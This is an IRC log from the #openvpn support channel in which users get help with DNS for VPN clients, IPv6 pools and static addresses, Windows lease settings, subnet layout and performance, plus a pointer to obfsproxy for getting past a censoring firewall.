09:10 < defswork> no TTL issues (apart from negative caching)
09:12 < NEone> Sounds plausible. Thank you very much. Will try that. I never installed a Linux DNS in my life b4, but will have to learn then. BIND is good for that? "dnsmasq" package needed too?
09:13 < defswork> no need for dnsmasq
09:13 < defswork> just good old bind and one zone
09:13 < defswork> NEone, shouldnt take 5 minutes
09:14 < NEone> And withit that BIND, I can tell to resolve secure.mydomain.com to 10.99.0.1?
09:14 < NEone> within*
09:15 < defswork> yes - just add a soa for it - simple as that
09:15 < defswork> and in openvpn push nameserver for 10.99.0.1 too (or whatever IP)
09:16 < NEone> And it doesn't hurt that 10.99.0.1 is the openvpn server at the same time? (this is in my openvpn server.config: "server 10.99.0.0 255.255.0.0")
09:16 -!- markp [~Mark@213.205.234.146] has quit [Ping timeout: 260 seconds]
09:18 < NEone> Really cool. Your help is much appreciated. Trying right now.
09:23 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:35 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
09:37 -!- esde [~esde@162.218.209.203] has joined #openvpn
09:58 -!- esde [~esde@162.218.209.203] has quit [Changing host]
09:58 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
10:01 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:17 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
10:23 -!- raidz_away is now known as raidz
10:26 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ngoevfsehcxsozzw] has joined #openvpn
10:42 < NEone> defswork: So I should configure that BIND9 as a "primary master" and create the SOA zone for "mydomain.com" (or only for "secure.mydomain.com"?) ?
10:45 < rob0> um, name-to-IPv4 resolution is handled by "A" records, not SOA.
11:01 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 245 seconds]
11:01 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
11:06 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 264 seconds]
11:09 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:16 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
11:31 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:34 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:39 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
12:05 -!- verwilst [~verwilst@dD57697E2.access.telenet.be] has quit [Remote host closed the connection]
12:19 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
12:26 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
12:26 < Cubox> !ipv6
12:26 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
12:27 < Cubox> is there a simple tutorial "how to change your config to give ipv6 address to clients"?
12:27 < Cubox> (and route them)
12:27 <+pekster> Cubox: IPv6 for the transport between VPN peers, or IPv6 across your VPN?
12:28 <+pekster> Currently OpenVPN can't run dual-stack, so you'd need 2 instances to accept or make connections on both IPv6 and IPv4
12:28 <+pekster> (you can run dual-stack inside the tunnel, though)
12:29 < Cubox> I want them to get ipv6 addresses, and be able to reach the internet via them
12:30 <+pekster> You need something like this then: http://paste.kde.org/pfd2f2467/80216602/raw/
12:30 <+pekster> It's basically the same as it is for IPv4 except you're using a range routed to the VPN server for IPv6
12:31 <+pekster> There's some ipv6-server directive too, but I don't advocate use of the helper-directives unless you're familiar with what they're doing for you under the hood
12:31 < Cubox> so, clients will get a random ipv6 address from here?
12:31 < Cubox> (the pool)
12:32 <+pekster> No, same as with v4; any client will get the "first available" IP from the pool
12:32 < Cubox> ok
12:32 -!- kirin` [telex@gateway/shell/anapnea.net/x-pxayquouinqqfcww] has joined #openvpn
12:32 <+pekster> See --ifconfig-ipv6-push as the v6 version of --ifconfig-push
12:32 < Cubox> will I be able to force an address with ccd?
12:32 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:33 <+pekster> Yup,
12:33 <+pekster> !static
12:33 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
12:33 <+pekster> Same directives, just the v6 versions are what you want. See the manpage section titled "IPv6 Related Options"
12:33 < Cubox> and, I will need to enable ipv6 forwarding + iptables rules.
12:33 <+pekster> Indeed
12:34 <+pekster> IPv6 netfilter rules, or "ip6tables" (really it's all netfilter, but ip6tables is merely the frontend userland command to change the running kernel config)
12:34 < Cubox> hmm
12:34 < Cubox> I don't know, I will give them public ipv6 address
12:34 < Cubox> will I need ip6tables rules?
12:34 <+pekster> You'd be foolish to run any Internet-connected host without a firewall
12:35 < Cubox> I have a firewall on the clients.
12:35 <+pekster> Your call then, but personally I'd rather not forward in junk traffic that downstream clients will drop anyway
12:36 <+pekster> That's a waste of resources, and if your clients are externally, it's a massive waste of bandwidth
12:36 <+pekster> (in fact, a clever attacker could easily flood your uplink if you get a bigger downstream than you do upstream)
12:37 <+pekster> Firewall design is up to you; OpenVPN just connects the endpoints and doesn't care what you route across it
12:37 < Cubox> 2001:bc8:300a::b12d/48 -> The server have this public ip, what do I need in the config for the pool/tun address? (not really into ipv6)
12:38 <+pekster> um, huh? You have a /48 ON-LINK??!
12:38 <+pekster> (that's broken, if you really have that)
12:38 < Cubox> I have a /48, indeed.
12:38 <+pekster> No, is it routed or on-link?
12:38 < Cubox>     inet6 2001:bc8:300a::b12d/48 scope global
12:38 <+pekster> Anything bigger than a /64 on link is stupid and you need to find a less-shitty provider
12:38 <+pekster> good god
12:38 <+pekster> You have a f-ed up network provider then who is clueless
12:39 <+pekster> Either proxy-NDP or bridge, both of which are ugly solutions
12:39 < Cubox> I don't understand, will the openvpn ipv6 setup be still avaliable?
12:39 <+pekster> Yes, with proxy-NDP or a bridged setup
12:39 <+pekster> Both of which are basically hacks around your brain-dead provider
12:39 <+pekster> Protip: find a provider that understands basic routing
12:40 < Cubox> haha
12:40 <+pekster> You're currently paying buffons
12:40 < Cubox> I know
12:40 < Cubox> their ipv6 is not the best point.
12:40 <+pekster> Optionally, go get an IPv6 broker and take the extra hit in performance/latency (often not that bad) and get "proper IPv6" support
12:41 <+pekster> All of this is more or less outside OpenVPN's scope. No idea why some folks put an entire /48 on-link though
12:41 <+pekster> (it's a stupid as using 10/8 on your home LAN)
12:41 <+pekster> as*
12:44 < jeev> are there smb issues with openvpn? i've got a 30 meg downstream with a 50 meg upstream and all i'm getting is 3mbit download from the 50meg upstream, my wget is different however, 4.84mb/s via linux routers.
12:45 < jeev> haven't looked into mtu/lzo yet, i think i'm using lzo but i can't right now touch anything
12:47 < Cubox> ok, so I just have to wait for openvpn to support smaller subnets and I will be able to give it a /64?
12:47 <+pekster> Cubox: No; openvpn already does that today (you can use /64 through /112, and bridging it doesn't matter)
12:47 <+pekster> Your issue that you cannot route properly becuase you have been routed no subnet
12:47 <+pekster> (it's all "on-link")
12:48 < Cubox> I don't understand what means on-link
12:48 <+pekster> This isn't a channel to learn basic routing concepts, but in order to route, you need to be routed a block of IPs
12:48 <+pekster> It's not routed; it's link-local
12:49 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
12:49 <+pekster> jeev: OpenVPN is unaware of higher-level protocols above IP, so it can't tell CIFS from IRC traffic
12:49 < Cubox> pekster: you know dibbler?
12:49 < heraclitus> I asked in here yesterday, but I thought I'd ask again. Anyone know how to get openvpn client working on dd-wrt v24-sp2 SVN revision 19342?
12:50 <+pekster> Compile or install a precompiled package for it
12:50 <+pekster> Downstream support is appropriate if you need help doing that
12:51 <+pekster> Otherwise, use it the same as you would on any client: `openvpn --config /path/to/your.conf` -- integration into OS init is also a downstream issue
12:51 < heraclitus> I already have the package installed, version  2.2.1
12:51 < heraclitus> and it won't work. I keep getting a ping timeout.
12:52 < heraclitus> yet I can vpn to the same servers that are timing out on the router, from my computer.
12:52 < heraclitus> it's baffling.
12:52 <+pekster> Cubox: I'm aware of it, though not intimately familiar with it. This is all largely irrevelent; your network setup is brain-dead stupid, and I won't help you fix a broken-by-default network design
12:52 < heraclitus> there's no firewall on the router right now (I've flushed iptables) I wanted to make sure that wasn't the issue.
12:53 < Cubox> pekster: no, we need dibbler in order to setup our ipv6. French informations about it here: http://blog.blaisot.org/dedibox_ipv6.html
12:53 <@vpnHelper> Title: Configuration IPv6 sur une dedibox sous ubuntu 13.04 (at blog.blaisot.org)
12:53 <+pekster> Cubox: Quite frankly I don't care. If a /48 is on-link, it's broken
12:53 < Cubox> :(
12:53 <+pekster> There's zero reason for that, and it demonstrates the people you're paying are clueless
12:54 <+pekster> #ipv6 if you want help learning to hack around such stupidity
12:54 < Cubox> thanks
12:55 <+pekster> heraclitus: Read !welcome and !configs and !logs and describe your setup and goal
13:07 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
13:08 -!- mapps [~Mark@host86-128-64-231.range86-128.btcentralplus.com] has joined #openvpn
13:09 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:09 -!- nongeek [~mohsen@188.245.227.0] has joined #openvpn
13:13 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 264 seconds]
13:14  * nongeek hello Folks
13:16 < nongeek> Can I use OpenVPN as a ChaosvPn?
13:17 <+pekster> !notcompat
13:17 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
13:17 < nongeek> OK
13:17 < nongeek> Thank you
13:18 <+pekster> Is this a meta-project that uses openvpn, or its own protocol?
13:19 <+pekster> Nevermind, clearly the latter. Completely unrelated
13:21 < nongeek> Hello
13:22 < nongeek> I want to use it for bypassing the censorship :/
13:26 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
13:32 < sybariten> oh hai
13:33 < sybariten> we are openvpn newbs ...   we have a Win32 machine that acts openvpn server. It has this line in its config.  push "ip-win32 dynamic 0 300"
13:34 < sybariten> oops that should be 3600 not 300. Is 3600 a terribly low value? Does that mean we will give out a new (identical) IP each hour?
13:36 <+pekster> It doesn't change what's "given out" by openvpn, no. This is all internal Win32 API nonsense to "trick" Windows into thinking that it's on a traditional network with a DHCP server
13:36 <+pekster> It's just a simple way for Windows to be fed addressing information
13:36 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:37 <+pekster> I'm not sure why you'd want such a low value, or what benefit it serves; read the manpage on the --ip-win32 option as it tells you what the default is and why it's set that way
13:37 <+pekster> !man
13:37 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:37 < EugeneKay> !women
13:38 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 246 seconds]
13:41 < sybariten> har har har
13:41 < sybariten> pekster: thanks, will look into that... then read your sentences again.... then look into that again... etc
13:43 < sybariten> When we try this out, it does seem as if this very value is used in Win on the clients though .... we tried setting 300 for instance, and the given IP on the client side was leased for five minutes
13:43 < sybariten> well, as it seemed
13:44 <+pekster> Windows isn't leasing the IP from DHCP; it's getting one assigned by the openvpn server which isn't using DHCP at all
13:44 <+pekster> The client side merely thinks it is
13:44 <+pekster> (just like the early Europeans though the world was flat)
13:44 <+pekster> thought*
13:49 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
13:49 < Skapare> The Swiss didn't ... they knew the world was mountainous
13:51 < sybariten> OK, but is the client getting this IP on a loan, sort of like a lease? Is it getting it at intervals at all?
13:52 < sybariten> I guess what it all boils down to is if we risk losing data if that value is as low as 3600 ... if "things" happen on an hourly basis
13:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:59 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 245 seconds]
14:01 < rob0> I don't understand the "flat Earth" idea. At a seacoast, on a clear day, you can see the curvature.
14:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:08 -!- Cubox [cubox@unaffiliated/cubox] has quit [Ping timeout: 245 seconds]
14:13 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
14:15 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
14:23 <+pekster> sybariten: No, there is no "interval": an openvpn clients has the IP openvpn assigned to it until the connection is terminated
14:24 <+pekster> The manpage makes it pretty clear what this feature does: have you read it? Maybe you mean to do so and then ask a more specific question that demonstrates you read and understood a bit of it
14:25 <+pekster> And yes, low values coule very well cause problems if Windows is "unable" to renew the IP that openvpn considers "still assigned"
14:25 <+pekster> sybariten: What problem are you trying to "fix"? What's wrong with the default value?
14:27 < Cubox> pekster: I will setup the /64 on my server soon. How can I will see how it is working, about the on-link thing? (ie, if it's good for use)
14:28 <+pekster> If "Packets go where they're supposed to" then it works
14:28 <+pekster> Pretty simple really
14:29 < Cubox> how to test it?
14:29 <+pekster> ping6? tracepath6? mtr? whatever tool you want..
14:29 < Cubox> ok
14:30 <+pekster> #openvpn isn't the best place to ask "how do I learn the basics of networking and IPv6"
14:30 < Cubox> so, if the server is reachable
14:30 <@krzee> !101
14:30 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:30 <+pekster> ##networking, #ipv6, or other reesources are more appropriate; we discuss openvpn here
14:30 < Cubox> alright :)
14:30 <+pekster> If you can ping (or ping6, in the case of IPv6 over OpenVPN) then openvpn "is working"
14:32 <@krzee> rob0, you trying to say the earth is spherical?  you heretic!
14:37 < rob0> sorry, I'll straighten up!
14:37 <@krzee> :D
14:44 -!- Crocell [~Crocell@p578bfbba.dip0.t-ipconnect.de] has joined #openvpn
14:44 < Crocell> hi
14:52 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
14:53 < atmosx> hello
14:53 < Cubox> !hello
14:53 < Cubox> !goal
14:53 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:53 < Cubox> !config
14:53 <@vpnHelper> (config <name> [<value>]) -- If <value> is given, sets the value of <name> to <value>. Otherwise, returns the current value of <name>. You may omit the leading "supybot." in the name if you so choose.
14:53 < Cubox> !welcome
14:53 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:53 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:53 < Cubox> !configs
14:53 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:53 < atmosx> I have openvpn network 10.8.0.1 255.255.255.0 that menas only class D right? If I use 255.255.0.0 do I get class C also?
14:54 <+pekster> atmosx: We haven't had "classful" networking for decades now
14:54 <+pekster> 10.8.0.1 is also an IP, not a network
14:55 < atmosx> pekster: I was referring to /24
14:55 <+pekster> It means no such thing as
14:55 < atmosx> pekster: my question is what do I do, to get clients in /16 talk to each other
14:55 <+pekster> as "class D"
14:55 < atmosx> pekster: ah okay, you got the point though
14:56 <+pekster> to talk to each other?
14:56 < atmosx> pekster: yes
14:56 <+pekster> What's your !goal ?
14:56 < Cubox> pekster: do I obligatory need a ipv6 pool?
14:56 <+pekster> What /16? Where is this network? How does it relate to your openvpn setup?
14:56 < Cubox> pekster: and, if I use ccd, do I need to put push tun-ipv6 in the conf? (not sure)
14:56 < atmosx> pekster: it's complicated to explain now, but in stage one I'd like to seperate clients by network like clients-groupA 10.8.1.0/24 and clients-groupB 10.8.0.0/24
14:57 <+pekster> Cubox: Normally no, you use tun-ipv6 (or push it from the server) on both ends, then either use the pool or push static IPs as with !static that you got before
14:57 <+pekster> If you're using a pool there's no need for a ccd at all
14:57 < atmosx> pekster: I want the openvpn server to support it. Instead of having 254 IP address availabel let's say I need 254*254
14:58 <+pekster> atmosx: You need multiple instances if you want unique networks; you're free to give certain types of clients an IP of your choosing though and firewall ranges accordingly
14:58 <+pekster> Also note that since openvpn is single-threaded you can't realistically expect to have 256^2 clients actually connected and using the serice
14:59 < atmosx> serice?
14:59 <+pekster> Yes, the service you start. Instance. PID.
14:59 < atmosx> pekster: sure, I don't think I'll even reach 1.000 it's more about keeping a sort of order among my "clients" and their "clients" over VPN.
14:59 < Cubox> !static
14:59 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:59 < atmosx> I'm talking about "physical clients", people.
14:59 < atmosx> okay
14:59 <+pekster> So lay out your network structure accordingly
15:00 < Mike--> pekster: if openvpn is single-threaded, what would you expect to be a maximum amount of clients connected simultaniously?
15:00 <+pekster> Each instance of openvpn uses just a single network for the VPN; you can either made this wide and assign IPs to groups of clients (see !static for manually assingment options) or run multiple instances if you want uniquie /24's
15:00 < atmosx> and the best to allow/deny access from a certain IP-subnet1 to specific-IPs-subnet2 is through firewall right?
15:01 <+pekster> Yes, I would perform filtering/firewall tasks in a firewall
15:01 < Cubox> pekster: oh, I need to edit the client config too... I just have to add tun-ipv6?
15:01 < Cubox> !ipv6
15:01 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
15:01 -!- Cultist [~Cultist@98.223.209.0] has joined #openvpn
15:01 < atmosx> I see so maybe I'll run just 2 VPN deamons in my VPS, one for clients one for their clients.
15:01 < atmosx> hmm that seems more clear to me
15:01 <+pekster> Mike--: If they're not doing anything? Thousands. If all "several thousand" tried to send at the same time, CPU will be your bottleneck, assuming you had ample bandwidth
15:01 < atmosx> pekster: thanks
15:01 < Mike--> hmmm
15:01 <+pekster> Mind TLS too, since TLS re-negotations are processor-intensive
15:02 < Mike--> if it's single threaded
15:02 < Mike--> and I have 8 cores
15:02 < Mike--> 1 cpu would be very busy
15:02 < Mike--> and 7 doing nothing
15:02 < Mike--> or do I misunderstand your single-thread statement?
15:02 <+pekster> (I reached 100% load on a 2.6 GHz processor with around 10-15 TLS connections per second.)
15:02 < atmosx> pekster: oh men, that's depressing
15:02 <+pekster> Yes, per instance
15:02 <+pekster> You can very easily run 8 instances and have some frontend load balancing method though
15:03 < atmosx> pekster: I imagine that other VPS solutions are even more cpu-intensive than openVPN?
15:03 < Mike--> yeah, I understand that
15:03 < Mike--> just wanted to understand your single-thread comment
15:03 <+pekster> atmosx: No, IPSec is different becuase of how the crypto is done in-kernel. That is a design trade-off an implementaor must know and work with up-front
15:03 < Mike--> thanks pekster
15:03 -!- Cultist [~Cultist@98.223.209.0] has quit [Read error: Connection reset by peer]
15:04 < atmosx> pekster: hmm I see.
15:04 < atmosx> thanks pekster
15:04 < atmosx> and Mike-- heh
15:04 < Mike--> the one thing I love about openvpn is the single port requirement
15:04 -!- dupondje [~dupondje@artemis.dupie.be] has quit [Quit: leaving]
15:04 <+pekster> Yea, so much easier than worrying about IPSec & NAT
15:04 < atmosx> Mike--: th eonly? c'mon configure is a breeze of fresh air compared to other solutions
15:05 < Mike--> I might have misspoken there sorry
15:05 < Mike--> but it is my favorite :)
15:05 < Mike--> I have my site-2-site operational and can push 100mbit without breaking a sweat
15:06 < Mike--> using aes-256
15:06 < Mike--> I olove it
15:06 < Mike--> -o
15:06 <+pekster> aes-ni can help a lot
15:07 < Mike--> aes-ni? (I do not follow)
15:07 < atmosx> my laptop supports it... but you need new intel cpu
15:07 < atmosx> and actually pray that it's not backdoored
15:07 <+pekster> https://en.wikipedia.org/wiki/AES_instruction_set
15:07 <@vpnHelper> Title: AES instruction set - Wikipedia, the free encyclopedia (at en.wikipedia.org)
15:07 < atmosx> Mike--: it's the CPU-level Intel AES instructions. AES is optimized and decryption happens at CPU level
15:07 < Mike--> ow the hardware off-loading part built into intel cpu's?
15:08 < Mike--> not sure this has that ;)
15:08 < atmosx> Mike--: yes, it improves performance considerably. i.e. I've tested on my macbook air. You don't even notice.
15:09 < Mike--> nic
15:09 < Mike--> *e
15:10 < atmosx> I'd like to see twofish instructions
15:11 < Mike--> I picked aes-256-cbc for security
15:11 < Mike--> or is there a better one?
15:11 < Mike--> atmosx: they need to have built that backdoor in during the manufactoring proces
15:11 < Mike--> I am paranoid, but not that paranoid ...
15:13 < atmosx> Mike--: I am not that paranoid either, it's just that since I'm out of skills and resources to make any sort of assumption I assume the worst case scenario.
15:14 < Cubox> pekster: http://paste.placeholder.fr/show/443/ (no change to the client conf) and the client don't have a ipv6 to his tun0, but received the ipv6 settings on PUSH_REPLY.
15:16 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:16 <+pekster> Don't use --ifconfig-push like that when it conflicts with your IPv4 pool
15:17 <+pekster> See !static for details
15:17 < Cubox> it confict? o_O
15:17 < Cubox> !static
15:17 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
15:17 <+pekster> Yes. See --server too
15:17 <+pekster> The pool will, by default, eat "all the remaining IP space", which leaves you 0 non-pool addresses to assign
15:18 <+pekster> This _will_ break if a pool client uses the IP you push to one with a ccd. #4 above
15:18 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
15:18 < Cubox> I don't have a pool
15:18 <+pekster> Yes you do. Read --server like I told you
15:19 < Cubox> oh
15:20 -!- Crocell [~Crocell@p578bfbba.dip0.t-ipconnect.de] has quit [Quit: Konversation terminated!]
15:20 < Cubox> pekster: is this influing with the ipv6 problem?
15:20 < Cubox> I see what is wrong here, indeed.
15:21 < Cubox> but not how this is influing with ipv6...
15:21 <+pekster> It's not
15:22 <+pekster> You forgot to push tun-ipv6; if the client doesn't define it, it won't work
15:22 <+pekster> Read about that in the manpage too
15:22 < Cubox> http://paste.placeholder.fr/show/444/
15:24 < Cubox> I added also push tun-ipv6 after the paste
15:25 < Cubox> aaand, fail.
15:28 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
15:29 < Cubox> hmm, made it start, connected and the ipv6 is having a problem with routes. http://paste.placeholder.fr/show/445/
15:29 < Cubox> and all the internet was broken
15:31 < Cubox> we are getting close pekster o/
15:31 <+pekster> Read the manpage more carefully
15:31 < Cubox> which section?
15:31 <+pekster> And learn to paste so your lines don't turn to shit
15:31 <+pekster> --ifconfig-ipv6-push is wrong
15:32 <+pekster> Completely missing the bits and remote IP
15:32 <+pekster> Read more carefully, and less useless comments like "aaand, fail." Maybe someone else cares a bit more than I do
15:33 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
15:34 < Cubox> remote IP : ip of the openvpn server, or the gateway ip address?
15:36 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
15:38 < Cubox> same error, i'll repaste you all the conf files.
15:38 < Cubox> http://paste.placeholder.fr/show/446/
15:39 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
15:41 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:45 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 240 seconds]
15:47 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
15:47 -!- crus` [~crusader@2001:0:9d38:78cf:14e0:19f4:c458:154d] has joined #openvpn
15:47 -!- crus [~crusader@2001:44b8:319e:2900:ac5e:8784:a402:e4b1] has quit [Ping timeout: 260 seconds]
15:52 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
15:53 -!- crus` [~crusader@2001:0:9d38:78cf:14e0:19f4:c458:154d] has quit [Ping timeout: 264 seconds]
15:53 -!- crus [~crusader@2001:44b8:319e:2900:3068:6cbc:c5e3:8b84] has joined #openvpn
15:55 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
15:57 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 264 seconds]
15:59 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
16:03 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has left #openvpn ["Leaving"]
16:08 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
16:11 -!- nongeek [~mohsen@188.245.227.0] has left #openvpn []
16:12 -!- nongeek [~mohsen@188.245.227.0] has joined #openvpn
16:12 -!- JackWinter1 [~jack@vodsl-11200.vo.lu] has joined #openvpn
16:12 <@krzee> nongeek,
16:13 <@krzee> !obfs
16:13 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in
16:13 <@vpnHelper> static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
16:13 <@krzee> that is what you want if you need to get past firewalls that block openvpn
16:13 < nongeek> krzee: Tor is blocked too
16:13 <@krzee> that is not tor, it is obfsproxy
16:14 <@krzee> a proxy made for obfuscating traffic, which is EXACTLY what you want if you have a censoring firewall such as china's
16:14 -!- JackWinter [~jack@vodsl-9783.vo.lu] has quit [Ping timeout: 248 seconds]
16:14 <@krzee> click the links and read =]
16:15 <@krzee> also, as you see from reading what the bot said, static-key crypto should still work
16:15 < nongeek> remote <YOUR-VPN-SERVER> 21194
16:15 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
16:15 < nongeek> I have not VPN server
16:15 < nongeek> it is my problem
16:15 <@krzee> i dont know any providers that offer obfsproxy service, but i may suggest it to someone now that i think about it
16:16 <@krzee> then ya, theres not much i can do for ya
16:16 < Cubox>  /b 34
16:16 <@krzee> if you're looking to find a vpn company to offer you that sort of service, i hope you find it
16:17 <@krzee> but i dont know of it, here we generally help people who admin their own VPNs
16:17 < nongeek> krzee: Can I send PM and share something to yuo
16:17 <@krzee> sure
16:17 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:18 < Cubox> alright, i'm almost here. The ip is assigned, but the route is not setup. it try this sbin/route add -inet6 2001:bc8:300a:dead:: -prefixlen 64 -iface tun0, and even with the right route, I get this error message: add net 2001:bc8:300a:dead::1337:0: gateway tun0: File exists
16:19 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
16:23  * atmosx runs a private obfs3 and obfs2
16:23 < atmosx> krzee: because if any provider would offer an obfs2-3 service would be blocked.
16:24 <@krzee> hmm
16:24 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:24 < atmosx> krzee: the purpose as you mentioned is to circumvent censorship. Iran and China scan-search and block obfs2
16:24 <@krzee> orly
16:25 < atmosx> I've read a paper about techniques they use a while back, don't remember much now to tell you the truth. But there's a mouse and cat game going on all the time
16:25 < atmosx> There's a tor service that you submit your obfs3 or 2 and they forward to any interested party via email.
16:25 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
16:27 -!- nongeek [~mohsen@188.245.227.0] has quit [Remote host closed the connection]
16:28 <@krzee> ya? so interested users can recieve email updates?
16:28 <@krzee> may i msg you?
16:29 < atmosx> krzee: sure
16:32 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:33 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
